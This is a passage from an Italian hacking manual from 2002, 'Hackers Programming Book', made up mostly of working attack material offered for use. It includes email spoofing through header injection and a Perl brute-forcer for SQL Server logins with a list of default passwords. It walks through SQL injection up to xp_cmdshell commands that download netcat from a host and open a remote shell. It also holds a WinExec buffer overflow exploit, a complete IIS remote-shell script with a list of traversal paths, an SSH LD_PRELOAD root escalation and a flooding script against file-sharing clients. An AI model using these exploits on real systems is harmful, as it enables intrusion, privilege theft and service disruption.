Sei sulla pagina 1di 39

Hackers Programming Book Invio email falsificata tramite oggetti ASP

Uno dei linguaggi pi utilizzati al giorno doggi sul WEB sicuramente ASP il quale tra linfinit di oggetti orientati agli usi pi disparati ne possiede uno che permette di inviare delle email direttamente dalle pagine WEB. Si tratta delloggetto CDONTS.NEWMAIL il quale pu essere utilizzato nelambito di un qualsiasi form per il successivo invio di posta ma che per alo tesso tempo permette anche agli hackers di utilizzarlo per lo tesso scopo ovvero per linvio arbitrario di posta. Chiaramente come tanti bugs il tutto dipende sempre dalla tipologia di validazione dei dati inseriti che il programmatore esegue. Ma partiamo dellinizio vedendo come in genere possibile utilizzare questo oggetto allinterno di una pagina ASP. <% set objNewMail = CreateObject("CDONTS.Newmail") objNewMail.From = "newsletter@company.com" objNewMail.To = Request.QueryString("email") objNewMail.Subject = "NEWSLETTER" objNewMail.Body = "Please find attached the newsletter." objNewMail.AttachFile "c:\newsletter.txt", "mailatt.txt" objNewMail.Send %> La prima linea crea loggetto CDONTS.NEWMAIL mentre il rimenente codice seta I vari campi destinati ad indicare il mittente, il destinatario, il soggetto e il testo del messaggio. Lultima linea quella che di fatto permette di inviare il messaggio una volta che tutti I valori richiesti sono stati inseriti nefgli appositi campi. Le varie Request.QueryString() interrogano le variabili legate al passaggio degli argomenti alla pagina per ci per ricevere un messaggio questa dovrebbe essere letta nel modo che segue: http://www.company.com/newsletter.asp?email=david@ngssoftware.com Come avrete potuto vedere il parametro viene settato direttamente dentro al campo che lko deve contenere direattamente dalla funzione che lo legge. Quando alla fine loggetto invia lemail il tutto subisce una conversione ne formato richiesto da SMTP. .. .. mail from: newsletter@company.com rcpt to: david@ngssoftware.com data Subject: NEWSLETTER .. .. Se invece avesimo inserito la seguente metodlogia di richiamo : http://www.company.com/newsletter.asp?email=victim@spoofed.com%0D %0Adata%0D%0ASubject:%20Spoofed!%0D%0A%0D%0AHi,%0D%0AThis%20is%20a %20spoofed%20email%0D%0A.%0D%0Aquit%0D%0A La convesione SMTP sarebbe stata simile a :.. .. mail from: newsletter@company.com rcpt to: victim@spoofed.com

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


data Subject: Spoofed! Hi, This is a spoofed e-mail . quit

Altre informazioni legate agli attacchi a database


Come abbiamo detto nel capitolo precedente, spesso gli attacchi ai sistemi di database costituiscono una via alternativa la fatto di cercare un mezzo per riuscire ad ottenere determinate informazioni da un sistema dove non esistono altri mezzi. Sempre in altri capitoli del volume abbiamo parlato della password di default che spesso vengono dimenticate dagli amministratori di sistema allinterno dei softwares e dei dispositivi hardware presenti sui servers attaccati. In questo caso la possibilit quella di trovare degli accessi senza password. In questo caso diventa necessario disporre di una qualche utility in grado di cercare gli accessi a SQL Server non protetti da una password. Il sorgente inoltre cerca anche di eseguire un attacco brute force sul database.
#!/usr/bin/perl ## SQL username/password checker ## Parameters: senseql <IP> <username> <password> ## Eg. to check for blank SA: ## senseql 10.0.0.1 sa "" ## Roelof Temmingh / Haroon Meer ## roelof@sensepost.com / haroon@sensepost.com ## SensePost IT Security ## http://www.sensepost.com http://www.hackrack.com ## 2001/11/09 use IO::Socket; $|=1; if ($#ARGV<2) {die "Usage: senseql IP username password\n";} $port=1433; $host=$ARGV[0]; $username=$ARGV[1]; $pass=$ARGV[2]; $unh=pack("a30",$username);$psh=pack("a30",$pass); $numu=pack("c",length($username)); $nump=pack("c",length($pass)); $FRONT="0200020000000200000000000000000000000000000000000000000000000000000 00000000000"; $REST="30303030303061300000000000000000000000000000000000201881b82c08030106 0a090101000000000000000000737175656c646120312e30000000000000000000000000000 000000000000b00000000000000000000000000000000000000000000000000000000000000 00"; $REST2="0000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000 000000040200004d5344424c49420000000706000000000d110000000000000000000000000 00000000000000000000000"; $hfront=pack("H*",$FRONT);$hrest=pack("H*",$REST);$hrest2=pack("H*",$REST2) ; $FULL=$hfront.$unh.$numu.$psh.$nump.$hrest.$nump.$psh.$hrest2; $SENDY2="020100470000020000000000000000010000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000003030300000000300000 0"; $SENDY2 = pack("H*",$SENDY2); print "$host:$username:$pass:"; $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort => $port) || die "No SQL here man..."; print $remote $FULL; print $remote $SENDY2; recv($remote,$back,100,MSG_PEEK); if ($back =~ /context to 'master'/) {print "Yep - go for it\n"} else {print "No dude..\n";}

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


close ($remote);

La seguente tabella riporta alcune password usate dai database.

Oracle user password internal internal internal manager sys sys sys manager sys system sys internal sys change_on_install system manger system system system internal

SQL Server user password sa <blank> sa sa sa admin admin admin admin <blank>

Chiaramente il problema delle injections allinterno dei forms presenti sui WEB dipende in gran parte dalla mancanza di controlli fatti dai progettisti software. Avevamo visto che la forma classica dinterrogazione di un database legato allaccesso ad un sistema ha in genere questa forma:
SELECT XYZ from tblUsers WHERE User_ID='<field from web form>' AND U_Password='<field from web form>' IF [Stuff is Returned] {Login looks good} ELSE {Login looks bad}

Avevamo visto che linserimento di un apicetto di chiusura e del carattere che definisce il REM dentro a Sql Server avrebbe potuto essere usato per trasformare linterrogazione in una che qualsiasi cosa venga inserita questa restituisca sempre una condizione di TRUE. Spesso per il problema che gli input vengono controllati almeno per quello che riguarda la lunghezza del valore inserito. A questo punto necessario trovare una condizione che possa essere inserita in pochissimi caratteri. Una ottima quella che usa il valore di controllo ridondante 1=1, ovvero :
' OR 1=1--

Lo statement SQL di prima diventerebbe dopo liniezione : SELECT XYZ from tblUsers WHERE User_ID='zzz' OR 1=1 -- AND U_Password= IF [Stuff is Returned] {Login looks good} ELSE {Login looks bad} Nellambito della raccolta delle informazioni legate al database spesso interessante riuscire ad ottenere il numero dei campi :

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


Nellesempio di prima invece di inserire come password il valore visto possiamo inserire : sensepost' group by (password)-La risposta potrebbe essere : The ODBC error returned this time is : Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Admin.Userid' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /admin/admin.asp, line 13 Da questo mesaggio abbiamo ricavato il nome della tabella, Admin, e quello della colonna Userid. Modifichiamo la stringa inserita : sensepost' union select userid from Admin-A questo punto la risposta : Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /login.asp, line 17 Questa ci dice che Userid non lunica colonna del database. Continuiamo la modifica della stringa iniettata con : sensepost' union select userid,userid from Admin-Il masaggio restituito potrebbe essere nuovamente lo stesso per cui potremmo ancora modificare la stringa fino a quando questo tipo derrore termina. La stringa potrebbe anche diventare : sensepost' union select userid,userid,userid,userid,userid from Admin-A questo punto il messaggio restituito diventa : Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'superAdmin' to a column of data type int. /login.asp, line 13 Questa ci dice che il primo valore utente della tabella superAdmin per cui a qesto punto per riuscire ad ottenere la password potremmo dare : sensepost union select password,password from Admin Il fatto di continuare a provare ad aumentare gli argomenti, come nel caso di prima con il campo userid, possibile farlo anche con il campo password fino a quando il messaggio derrore ci ritorna : Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'h1dd3n' to a column of data type int. /admin/admin.asp, line 13 A questo punto sapere la tipologia dei dati diventa semplice. sensepost' compute sum (userid) La risposta : Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /login.asp, line 13 Questo ci dice che userid di tipo varchar. Ora dobbiamo ripetere la procedura per ogni campo che abbiamo enumerato. Una volta conosciuti i tipi possiamo dare : sensepost' insert into Admin(userid,password,lastlogin) values ('haroon','hi','Dec 19 2001 5:53PM')-Come abbiamo visto nei capitoli precedenti lagati alle iniezioni dentro ai database speso possibile tramite stored procedure lesecuzione di comandi I quali per possiedono le permissions dellutente che ha eseguito il database stesso. Per riuscire ad avere queste informazioni legate agli utenti possiamo proseguire i nostri inserimenti mediante : sensepost exec model..xp_cmdshell 'echo' Lerrore restituito : Microsoft][ODBC SQL Server Driver][SQL Server]Server user 'web_user' is not a valid user in database 'model' Proviamo a creare una tabella : sensepost create table master..#sensepost (x int) -Il messaggio ci avvisa che lutente DBO [Microsoft][ODBC SQL Server Driver][SQL Server]CREATE TABLE permission denied, database SECOMMERCE', owner 'dbo'. Ma a questo punto se volessimo usare questi metodi per controllare la macchina come potremmo fare ? Innanzi tutto settiamo uno sniffer come potrebbe essere TCPDUMP nel seguente modo : # tcpdump udp and port 53 and host <your_box_on_the_net> A questo punto dobbiamo guardare le richieste che vengono inviate al database. Nel form della vittima digitiamo : sensepost exec master..xp_cmdshell nslookup a.com <your_box_on_the_net>

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book

Il sistema SQL esegue un NSLOOKUP usando il nostro BOX come nameserver. A questo punto mse tutto funziona avremo della informazioni come ad esempio lIP del backend SQL. Fate attenzione che il WEB server e il backend SQL potrebbero non girare sulla stessa piattaforma. A questo punto conoscendo qeste informazioni possiamo cercare di uplodare il nostro solito NETCAT con : sensepost exec master..xp_cmdshell tftp I nasty.com GET nc.exe c:\nc.exe-e quindi di eseguirlo con : sensepost exec master..xp_cmdshell c:\nc.exe l p 8000 e cmd.exe Buffer overflow non allinterno degli stack La maggior parte dei buffer overflow visti fino ad ora usavano lo stacak o lheap come basi per la creazione dllexploit. Questo capitolo server a descrivere come di fatto possibile scrivere un buffer overflow anche senza affidarsi a questi segmenti. La loro scrittura pi semplice di questi in quanto lunica cosa che necessario capire il metodo con cui vengono chiamate le funzioni a basso livello. Un ulteriore semplificazione di questo tipo di buffer overflow legata al fatto che in questo caso non necessario conoscere lassembler. Il concetto di buffer overflow rimane lo stesso ovvero di fatto si tratta di inserire allinterno di una buffer pi dati di quanti questi possa contenere. Mentre nei buffers overflow legati allo stack I dati inseriti devono contenere anche il codice che deve essere eseguito, qui non necessario nessun codice. Mentre lindirizzo di ritorno che si andava a soprascrivere nei buffer basati sullo stack era legato ad un codice presete dentro al buffer stesso, qui lindirizzo legato ad una fnzione API e precisamente WinExec() o system (). Questo tipo di exploit sono inoltre pi corti di quanto lo siano qelli basati sullo stack. Quando viene chiamata una funzione mediante il linguaggio C i parametri che questa pretende vengono inseriti, o pushati, dentro allo stack. Consideriamo il seguente codice : .. WinExec(command,SW_HIDE); .. Questa fnzione viene traslata in assembler come segue : mov eax, 0 // Move into the eax register SW_HIDE push eax // push this onto the stack lea eax, [ebp-8] // load the effective address of the command into eax push eax // push this onto the stack call WinExec // call the function Come avrete potuto vedere I paramteri vengono inseriti in modo inverso dentro allo stack mediante delle istruzioni di PUSH. Lo stack potrebbe essere visto nel seguente modo : -------------------------ESP 80

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


---FF ---- Pointer al comando da eseguire 12 ---00 ------------------------00 ---00 ---- SW_HIDE 00 ---00 ------------------------Quando la call viene eseguita si verificano alcune azioni. Il contenuto del registro Instruction Pointer (EIP) viene cambiato in modo che questa punti alla nuova locazione dove si trova la funzione. Lindirizzo viene per inserito dentro allo stack in modo che quando la funzione termina questo pu essere ripristinato in modo da poter proseguire lesecuzione dal punto successivo a dove avvenuta la call. Assumendo che la call sia allindirizzo 0x00401020, quello 0x00401022 verrebbe inserito nello stack. Di conseguenza ESP viene decrementato 4. Quando la procedura chiamata ritorna, questo indirizzo viene preso dallo stack e usato denytro a EIP. Lesecuzione continua da qui. -------------------------ESP 22 ---10 ---- Saved Return Address 40 ---00 ------------------------80 ---FF ---- Pointer to command to run 12 ---00 ------------------------00 ---00 ---- SW_HIDE 00 ---00 ------------------------Creando loverflow del buffer per prima cosa necessario soprascrivere lindirizzo di ritorno con quello della fnzione che lattaccante vuole chiamare.

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


In questo esempio useremo la WinExec(). Questa richiede un indirizzo fittizio dopo quello reale di ritorno.e un punatore alla stringa di comando. WinExec() accetta qualsiasi valore DWORD usato come parametro SW_* in modo che sia possibile usare qualsiasi cosa fosse sullo stack in prima posizione. Questo nega la necessit di mettere un parametro SW_* nello stack e quindi risolve il problema che potrebbe derivare se il puntatore alla stringa di comando avesse allinterno un NULL. Tutto quello che richiesto una sringa terminata con un NULL.. Questo potrebbe presentare alcuni problemi se la stringa usata per il comando fosse nel seguente formato :
command+padding+saved_return_address+dummy_saved_return_address+parameters+.....

Questo formato potrebbe portare ad un insuccesso nellesecuzione. Il modo per risolvere il problema quello di eseguire il comando in una shell cmd e di separare il comando con un carattere ampersand. cmd /c command &+padding+saved_return_address+dummy_saved_return_address+parameters+.. ... Considerate questo programma chiamato overrun.exe Notate lindirizzo fittizio chiamato DUMMY usato per la winexec. #include <stdio.h> int main () { char buffer[256]=""; FILE *fd=NULL; fd = fopen("file.txt","rb"); if(fd == NULL) return printf("Couldn't open file.txt for reading\n"); fgets(buffer,1000,fd); return 0; } Questo programma apre un file chiamato "file.txt" e legge 1000 caratteri dentro ad un buffer Il buffer di fatto solo 256. In questo modo tutti caratteri oltre al 256 creano loverflow del buffer. Per eseguire l exploit usando un metodo non basato sullo stack dobbiamo scrivere un programma che c crei un file "file.txt" ce contenga lexploit stesso.
#include <stdio.h> int main() { char buffer[500]="cmd /c calc & AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB"; char sraddress[8]="\xAF\xA7\xE9\x77"; char padding[8]="\x90\x90\x90\x90"; char pointer_to_command[8]="\x70\x51\x2F\x00"; FILE *fd=NULL; fd = fopen("file.txt","w+"); strcat(buffer,sraddress); strcat(buffer,padding); strcat(buffer,pointer_to_command);

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


fprintf(fd,"%s",buffer); fclose(fd); return 0; }

Come potete vedere il comando che viene eseguito "cmd /c calc". Se il tutto funziona viene eseguito il calcolatore. Lindirizzo di ritorno viene soprascritto con lindirizzo di WinExec. Un indirizzo di ritorno dummy viene creato per beneficio di WinExec e un puntatore a questa stringa viene attaccata alla fine. In caso di successo lindirizzo di ritorno viene soiprascritto con quello di WinExec(). Quando il tutto torna WinExec() viene eseguita. WinExec ignorer lindirizzo dummy e quindi pende I suoi parametri e li esegue. Quando il tutto termina il programma andr in crash ma in ogni caso lutente sar gi dentro alla shell aperta.

Sistema dapertura Shell tramite IIS


Abbiamo visto nei capitoli precedenti come mediante alcuni BUGS era possibile inviare comandi ad un sistema windows che gestiva il WEB server tramite IIS. I vari BUGS erano lUNICODE, RDS, MSADC e cosi via. La presenza di questi BUGS ha permesso innanzi tutto ad un infinit di virus come NIMBDA di prolificare ma quello che pi importante sicuramente legato al fatto che moltissimi casi di hacking che si sono avuti in questi ultimi due anni erano sicuramente collagti a questi. Ed ecco uno script PERL ato ad aprire una shell su sistemi con IIS. #!/usr/bin/perl # # IIS Shell by bozo # Copyleft : Cartel Securite - Groupe CGBI # Version : 1.3 # 12/19/2001 # use strict; use use use use use LWP::UserAgent; HTTP::Request; HTTP::Response; Term::ReadLine; Getopt::Long;

require LWP::Protocol::http10; Getopt::Long::Configure ("bundling"); my ($p_exists, $c, $a, $q, $o, $h, $v, $e, $s, $p, $f, $nd, $wd, $no_cd, $cmd_sep, $host, $path, $basepath, $term, $version); $version = "1.3"; # # Defining functions

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


# # sendRequest($url) sub sendRequest { my $ua = LWP::UserAgent->new(); $ua->agent("bozilla v0/gold edition"); my $req = HTTP::Request->new(GET => $_[0]); $req->referer("http://www.nsa.gov"); my $result = $ua->request($req); } return $result;

# parseResult($result) sub parseResult { my $content; if ($_[0]->is_error()) { my $error = $_[0]->status_line; if ( $error =~ /404/ ) { print "$_[0] not found.\n"; return 0; } $content = $_[0]->content(); $content =~ s/.*?\<body\>(.*)\<\/body\>.*/$1/gsi; if ( $content =~ /\<pre\>/i ) { $content =~ s/.*?<pre>(.*?)<\/pre>.*/$1/gsi; } print $content . "\n"; } else { $content = $_[0]->content(); print $content; } } # download($url, $local_file) sub download { my $url = $_[0]; my $filename = $_[1]; my $ua = new LWP::UserAgent; $ua->agent("bozilla v0/gold edition"); my $req = new HTTP::Request GET => "$url"; $req->referer("http://www.nsa.gov"); my $res = $ua->request($req, $filename); if ( $res->is_error() ) { my $error = $res->status_line; if ( $error =~ /404/ ) { print "$url not found.\n"; return 0; } else { print "Couldn't copy file at $url.\n"; } return 1; }

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


} # checkPath($path) sub checkPath { my $result = sendRequest("http://$host/$_[0]?/c+dir"); if ($result->is_error()) { my $error = $result->status_line; if ( $error =~ /404/ ) { if ( $v ) { print "Command executable not found at $_[0] on $host.\n"; } return 0; } if ( $error =~ /403/ ) { if ( $v ) { print "Access denied at $_[0] on $host.\n"; } return 0; } chomp($error); if ( $v ) { print "$error : $_[0].\n"; } if ( $e ) { my $content = $result->as_string; print "Detail :\n$content\n"; } return 0; } if ( !$q && !$c ) { print "Found executable at $_[0] on $host.\n"; } $result = sendRequest("http://$host/$_[0]?/c+cd..%20&dir"); if ($result->is_error()) { if ( !$q && !$c ) { print "Mmh, this system doesn't appear to support the \'$cmd_sep\' string for command chaining.\n"; print "If it includes the '&' char, IIS is likely interpreting as a CGI argument separator.\n"; print "Disabling path memorization (if this is a mistake, enable it with /nocd off).\n"; } $no_cd = 'true'; } if ( $c ) { print "Executable found at $_[0]\n"; } else { $result = sendRequest("http://$host/$_[0]?/c+ver"); parseResult($result); } return 1; } # runShell($path) sub runShell { if ( $path =~ /cmd\.exe/ ) { $basepath = $path; $basepath =~ s/\/winnt\/system32\/cmd\.exe//; } else { $basepath = ''; } while (true) { my $line = $term->readline("$host : "); $term->addhistory($line) if /\S/; runCommand($line);

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


}

# runCommand($command) sub runCommand { my $url; my $line = $_[0]; if ( defined($line) ) { chomp $line; # Defining internal commands if ( $line =~ /^\s*\/exit\s*$/i || $line { } print STDOUT "Quitting IIS Shell.\n"; exit; =~ /^\s*\/quit\s*$/i )

if ( $line =~ /^\s*\/nocd/i ) { if ( $line =~ /^\s*\/nocd\s*on\s*$/i ) { $no_cd = "true"; print "Disabling path memorization.\n"; next; } elsif ( $line =~ /^\s*\/nocd\s*off\s*$/i ) { $no_cd = ''; print "Enabling path memorization.\n"; next; } else { printf "Path memorization is currently %s.\n", ($no_cd)?"disabled":"enabled"; next; } } if ( $line =~ /^\s*\/help\s*$/i ) { print "Help for IIS shell :\n\n"; print "\tcd <directory> : currently supports '..' and '\\'.\n\n"; print "\t/nocd [on|off] : disables/enable path memorization\n\t" . " "x17 . "(without arguments, prints current status)\n"; print "\t/setcmdsep <sep> : sets DOS command separator to <sep> (default = &).\n"; print "\t/help : this command.\n"; print "\t/quit : quits IIS shell.\n"; print "\t/exit : quits IIS shell.\n\n"; print "\t! <command> : run <command> on the local machine.\n\n"; next; } if ( $line =~ /^\s*\/setcmdsep\s*(.*)\s*$/i ) { $cmd_sep = "$1"; print "Setting command separator to $cmd_sep.\n"; next; } if ( $ line =~ /^\s*\/cp\s+(.+)\s+(.+)\s*$/i ) { if ( $basepath ) {

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


$url = "http://$host$basepath$1"; download($url, $2); } else { print "Sorry, we are not accessing the command shell through a directory traversal.\n"; print "Cannot generate an URL to access the file you requested.\n"; } next; } if ( $line =~ /^!(.*)/i ) { print `$1`; next; } # Defining pseudo-shell commands if ( $line =~ /^cd\s+(.*)/i ) { $nd = $1; if ( $nd eq ".." ) { if ( $wd eq "\\" ) { } elsif ( $wd =~ /^\\[^\\]*$/ ) { $wd = "\\"; } else { $wd =~ s/(.*)\\.*/$1/; } } elsif ( $nd =~ /^\\.*/ ) { $wd = $nd; } elsif ( $nd =~ /^\w+/ ) { if ( $wd eq "\\" ) { $wd .= $nd; } else { $wd .= "\\$nd"; } } else { print "Hihihihihi, that tickles!\n"; } next; } if ( $line =~ /^\s*\// ) { print "This is not a valid syntax for a IIS Shell internal command.\n"; print "See /help for details.\n"; next; } # $line is not an internal command $line =~ s/\s/\%20/g; $line =~ s/\%20$//; if ( $no_cd ) { $url="http://$host/$path?/c+$_[0]"; } else { $url="http://$host/$path?/c+cd%20$wd%20$cmd_sep$_[0]"; } my $result = sendRequest($url); parseResult($result); } else { next; }

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


} # # Actual processing # $s = ''; $v = ''; $p = ''; $f = ''; $e = ''; $h = ''; $o = ''; $q = ''; $a = 'path_to_cmd'; $c = ''; $p_exists = ''; GetOptions( 'p=s' => \$p, 's' => \$s, 'v' => \$v, 'f' => \$f, 'e' => \ $e, 'h' => \$h, 'o' => \$o, 'q' => \$q, 'a=s' => \$a, 'c' => \$c ); if ( $p ) { $p_exists = '1'; } if ( (length($s . $p_exists . $h) != 1 ) || ( (@ARGV != 1) && ( ! $h ) )) { print "Usage: $0 { -s[ev] | -[evf]p <path> | -h } [-oq] [<host>]\n"; exit; } $wd = "\\"; $no_cd = ''; $cmd_sep = '&&'; if ( !$q ) { print "Welcome to IIS Shell $version\n"; } $term = new Term::ReadLine 'IIS Shell'; $term->ornaments(0); if ( $o ) { if ( !$q ) { print "Using old libwww-perl behaviour ( < 5.60 )\n"; } LWP::Protocol::implementor('http', 'LWP::Protocol::http10'); eval { require LWP::Protocol::https10; LWP::Protocol::implementor('https', 'LWP::Protocol::https10'); }; } if ( $h ) { print "Usage : \n\n"; print "Usage: $0 { -s[eva <file>] | -[evf] <path> | -h } [-oqc] [<host>]\n\n"; print "\t-h : prints this help\n"; print "\t-s <host> : scans <host> for a command shell\n"; print "\t\t -v : verbose, prints paths as they are tried\n"; print "\t\t -e : verbose errors, prints server reply as string\n"; print "\t\t -a <file> : alternate file for path to cmd.exe list\n\t\t (defaults to path_to_cmd in local dir)\n";

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


print "\t-p <path> <host> : seeks shell at <path> on <host>\n"; print "\t\t -v : verbose, prints paths as they are tried\n"; print "\t\t -e : verbose errors, prints server reply as string\n"; print "\t\t -f : force, ignores path checking on specified path\n"; print "\n"; print "\t -o : old-style libwww-perl, needed for use with libwww-perl >= 5.60\n"; print "\t -q : quiet (don't use with -v or -V)\n"; print "\t -c : check only, don't generate shell\n"; print "\n"; } if ( $p ) { $host = $ARGV[0]; if ( $f && !$c) { $path = $p; runShell($path); } if ( ! checkPath($p) ) { if ( $c ) { print "Executable not found at $p\n"; exit; } print "Quitting IIS Shell.\n"; exit } $path = $p; if ( !$c ) { runShell($path); } } if ( $s ) { $host = $ARGV[0]; if ( !$q ) { print "Scanning $host for a command shell ...\n"; } open(PATH, "$a") or die "Can't open path list file : $!\nPlease check you have not entered an invalid path\n"; while (my $line = <PATH>) { chomp $line; if ( checkPath($line) ) { if ( $c ) { print "Executable found at $line\n"; next; } $path = $line; if ( !$c ) { runShell($path); } last; } } if ( !$c ) { print "No command shell found, quitting.\n"; } } Il seguente file nominato path_to_cmd e deve risiedere nella stessa directory dello script in perl. Da questo possiamo vedere che il BUGS che cerca di sfruttare lo scipt MSADC. /scripts/root.exe /MSADC/root.exe /c/winnt/system32/cmd.exe /d/winnt/system32/cmd.exe /scripts/..%c1%9c..%c1%9c../winnt/system32/cmd.exe /scripts/..%c0%af..%c0%af../winnt/system32/cmd.exe /scripts/..%c1%1c..%c1%1c../winnt/system32/cmd.exe /scripts/..%255c..%255c../winnt/system32/cmd.exe /scripts/..%2f..%2f../winnt/system32/cmd.exe /_vti_bin/..%c1%9c..%c1%9c../winnt/system32/cmd.exe /_vti_bin/..%c0%af..%c0%af../winnt/system32/cmd.exe /_vti_bin/..%c1%1c..%c1%1c../winnt/system32/cmd.exe

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


/_vti_bin/..%255c..%255c../winnt/system32/cmd.exe /_vti_bin/..%2f..%2f../winnt/system32/cmd.exe /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe /msadc/..%c1%9c..%c1%9c../winnt/system32/cmd.exe /msadc/..%c0%af..%c0%af../winnt/system32/cmd.exe /msadc/..%c1%1c..%c1%1c../winnt/system32/cmd.exe /msadc/..%255c..%255c../winnt/system32/cmd.exe /msadc/..%2f..%2f../winnt/system32/cmd.exe /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe

Un bugs per la scalata dei privilegi in Linux 7.x con SSH


Un bugs legato al login di Linux permette di acquisire diritti sulla macchina. I sistemi che posseggono questo problema sono: Slackware 7.1 con OpenSSH3.0p1 RedHat 7.1 con OpenSSH_2.9p2 RedHat 7.2 con OpenSSH-3.0.1p1 (thx scorpio) OpenBSD 2.9 con OpenSSH_2.9 (thx pmsac) Create un file lib.c con questo contenuto: #include <stdio.h> int setuid(int uid){ printf("setuid() called...\n"); seteuid(0); } Compilatelo con: gcc -c -o lib.o lib.c ld -shared -o libroot.so lib.o chmod 755 ./libroot.so A questo punto dovete avere un login nal sistema e quindi dopo esserci entrato dovrete creare il seguente file: $HOME/.ssh/authorized_keys con dentro : environment="LD_PRELOAD=<your home>/libroot.so" <your public key> Quando sshd riceve la vostra connessione, questa esporta la variabile dambiente ce avete settato dentro al file. Questa viene settata PRIMA che voi facciate il login. In ogni modo questa esegue una funzione setuid mediante la call a seteuid(0). $ id uid=1000(war) gid=100(users) groups=100(users) $ ssh war@localhost Inserite la passphrase per key '/home/war/.ssh/id_dsa': sh-2.04# id uid=0(root) gid=100(users) groups=100(users)

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book

Questo metodo funziona anche da remoto. Chiaramente il tutto serve a scalare i dirtti di un sistema per cui dovete avere un login iniziale. In altre parole va bene in quei sistemi aziendali dove voi non valete nulla, nelle universit o comunque in un sistema dove anche solo a livello di guest ma ci entrate.

Kazaa o Morphes
Queste due utilties legate al file sharing possiedono delle backdoor che possono essere utilizzate per accedere abusivamente ai sistemi di chi li usa. Occo il programma per farlo :
#!/usr/bin/perl # #Kazaa/Morpheus Denial of Service Attack #Coded by Paul Godfrey #PaulG@Crackdealer.com # #Problem: Both Kazaa and Morpheus filesharing applications have "backdoors" #which allow anonymous file access to their shared folder. What does this have #to do with Denial of Service? Unlike connections made from other users #of the applications, the number of connections to the backdoor cannot be #regulated or detected by the client. This obviously will allow us to flood the #server with requests and therefore use up all of the available bandwidth. #Also due to the fact that most users have setup their firewall privileges so #that Kazaa or Morpheus is allowed access to open connections to outside sources #this attack will bypass most personal firewall clients such as Zone Alarm. # #Enjoy. # #Usage: ./km.pl -h victimip use Socket; use Getopt::Std; getopts("h:", \%args); print("\nK/M Denial of Service\n"); if (!defined $args{h}) { print("Usage: km.pl -h victimip\n\n"); exit; } $host = $args{h}; $target = inet_aton($host) || die("inet_aton problems; host doesn't exist?"); $trash="A"x100; &exec_cmd($command); sub exec_cmd { for($count=1;$count<=1000;$count++) { sendraw("GET /\"$trash\" HTTP/1.0\n\n"); print("|"); } print("\nData Sent.\n\n"); } sub sendraw { my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,1214,$target)){ my @in; select(S); $|=1; print $pstr; while(< S >){ push @in, $_; print STDOUT "." if(defined $args{X});} select(STDOUT); close(S); return @in; } else { die("Can't connect...\n"); } }

DNS e Bind
Uno dei sistemi che nel tempo ha creato pi problemi sicuramente il bind utilizzato per la gestione dei DNS allinterno dei servers. Tra Le tipologie di exploits a cui questo meccanismo maggiormente soggetto sono sicuramente quelli legati alle metodologie Dos ovvero quelle indirizzate a bloccare il servizio. Chiaramente in questo caso parliamo di uno dei servizi fondamentali nellambito di un sistema in quanto il blocco di questo farebbe si che i servers che si supportano su questo sistema per la risoluzione dei domini tramite interrogazione dei servers DNS non potrebbe essere eseguito. Teniamo sempre ben presente che le attivit legate a questo servizio nellambito di un server avvengono in continuazione anche perch questo viene utilizzato anche per risolvere i servers stessi interni nellambito di una struttura di dominio relativo anche ad una sola azienda. Usando analizzatori della sicurezza, come ad esempio RETINA, i messaggi legati ai problemi presenti nel sistema BIND sono sempre numerosissimi. Un esempio di software in grado di explotare un 